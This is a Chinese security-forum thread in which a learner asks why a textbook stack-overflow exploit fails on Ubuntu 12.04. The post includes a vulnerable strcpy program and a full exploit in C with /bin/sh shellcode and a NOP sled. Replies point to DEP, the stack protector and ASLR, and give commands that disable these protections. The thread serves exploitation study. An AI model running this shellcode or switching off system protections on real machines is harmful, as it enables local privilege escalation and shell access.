首页
社区
课程
招聘
[求助]<Hacking - The Art Of Exploitation>中的栈溢出例子不能得到期望的效果
发表于: 2015-9-16 16:46 4659

[求助]<Hacking - The Art Of Exploitation>中的栈溢出例子不能得到期望的效果

2015-9-16 16:46
4659
<Hacking - The Art Of Exploitation>一书中2.7节的栈溢出例子没有得到期望的效果。不知道原因,求助!!!

这个例子很简单的一个程序:
vuln.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}


输入一段有NOP、ShellCode、返回地址的字符串,覆盖vuln.c中main函数的返回地址,这样就可以执行ShellCode了。

拼接字符串并执行vuln程序的exploit.c文件如下:
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void) // This is just a little function
{ 
	__asm__("movl %esp, %eax");
} // used to return the stack pointer

int main(int argc, char *argv[])
{
	int i, offset;
	long esp, ret, *addr_ptr;
	char *buffer, *ptr;

	offset = 0; // Use an offset of 0
	esp = sp(); // Put the current stack pointer into esp
	ret = esp - offset; // We want to overwrite the ret address

	printf("Stack pointer (ESP) : 0x%x\n", esp);
	printf(" Offset from ESP : 0x%x\n", offset);
	printf("Desired Return Addr : 0x%x\n", ret);

	// Allocate 600 bytes for buffer (on the heap)
	buffer = malloc(600);
	
	// Fill the entire buffer with the desired ret address
	ptr = buffer;
	addr_ptr = (long *) ptr;
	for(i=0; i < 600; i+=4)
	{ *(addr_ptr++) = ret; }
	
	// Fill the first 200 bytes of the buffer with NOP instructions
	for(i=0; i < 200; i++)
	{ buffer[i] = '\x90'; }
	
	// Put the shellcode after the NOP sled
	ptr = buffer + 200;
	for(i=0; i < strlen(shellcode); i++)
	{ *(ptr++) = shellcode[i]; }
	
	// End the string
	buffer[600-1] = 0;
	
	// Now call the program ./vuln with our crafted buffer as its argument
	execl("./vuln", "vuln", buffer, 0);
	
	// Free the buffer memory
	free(buffer);
	return 0;
}


使用的操作系统是Ubuntu 12.04.3 LTS
直接编译时,GCC的堆栈保护会检查到缓冲区溢出。
然后使用-fno-stack-protector选项进行编译,又出现段错误。
使用gdb调试,发现使用execl执行时程序的ESP会有变化,原来拟定的返回地址(ESP)在执行execl后变得无法访问了。
然后就想直接修改返回地址。
但是直接修改返回地址指向buffer后,遭遇了内存无法访问的错误。而且这个内存不知道哪里来的。
最后直接修改返回地址指向代码段,也遭遇了同样的问题。
这是为什么呢?怎样才能修改成功呢?
操作的详细过程见附件

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 1258
活跃值: (1434)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
你没听过 有个 DEP 吗?
说 intel CPU 给每个内存页 有一个 NX 标记, 标记 堆  、栈、数据段 的 内存页 不可执行(NX=1)。

试试ROP 吧 。
2015-9-16 22:50
0
雪    币: 201
活跃值: (204)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
非常感谢!
刚接触这个。这个书是2003年写的,可能比较早,没有考虑现在的情况。
我再看看吧
2015-9-17 09:06
0
雪    币: 232
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
建议楼主,看看0day那本书,那本书虽然有点瑕疵,但绝对是一本入门的好书。
2015-9-17 17:14
0
雪    币: 292
活跃值: (815)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
我记得-fno-stack-protector这个编译命令就是禁用堆栈保护吧,楼主不妨在-fno-stack-protector后面加上 -z execstack 试试,另外你说的ESP地址会变可能是ASLR的原因,LINUX不像windows有7ffa4512这么好用的JMP ESP地址,所以最好用echo 0 > /proc/sys/kernel/randomize_va_space 来禁用ASLR再调试一下试试,另外高版本的Linux必须要面对DEP和ASLR,甚至以后还会像windows10 的CFG一样有更高的防护措施,所以还是学学bypass比较好,比如楼上说的ROP
2015-9-18 09:13
0
雪    币: 201
活跃值: (204)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
额,谢谢。正在买那本书。
2015-9-18 10:42
0
雪    币: 201
活跃值: (204)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
额,遇到的问题确实是因为DEP、Stack Protector、ALSR。改了就好了。
2015-9-18 10:46
0
雪    币: 371
活跃值: (94)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
8
Riverhac 建议楼主,看看0day那本书,那本书虽然有点瑕疵,但绝对是一本入门的好书。
书的全名是啥啊
2017-7-11 15:12
0
雪    币: 315
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
darmao 书的全名是啥啊
0day安全软件漏洞分析技术。现在已经绝版了。有电子版的。这个书入门很不错
2017-7-27 00:29
0
游客
登录 | 注册 方可回帖
返回
//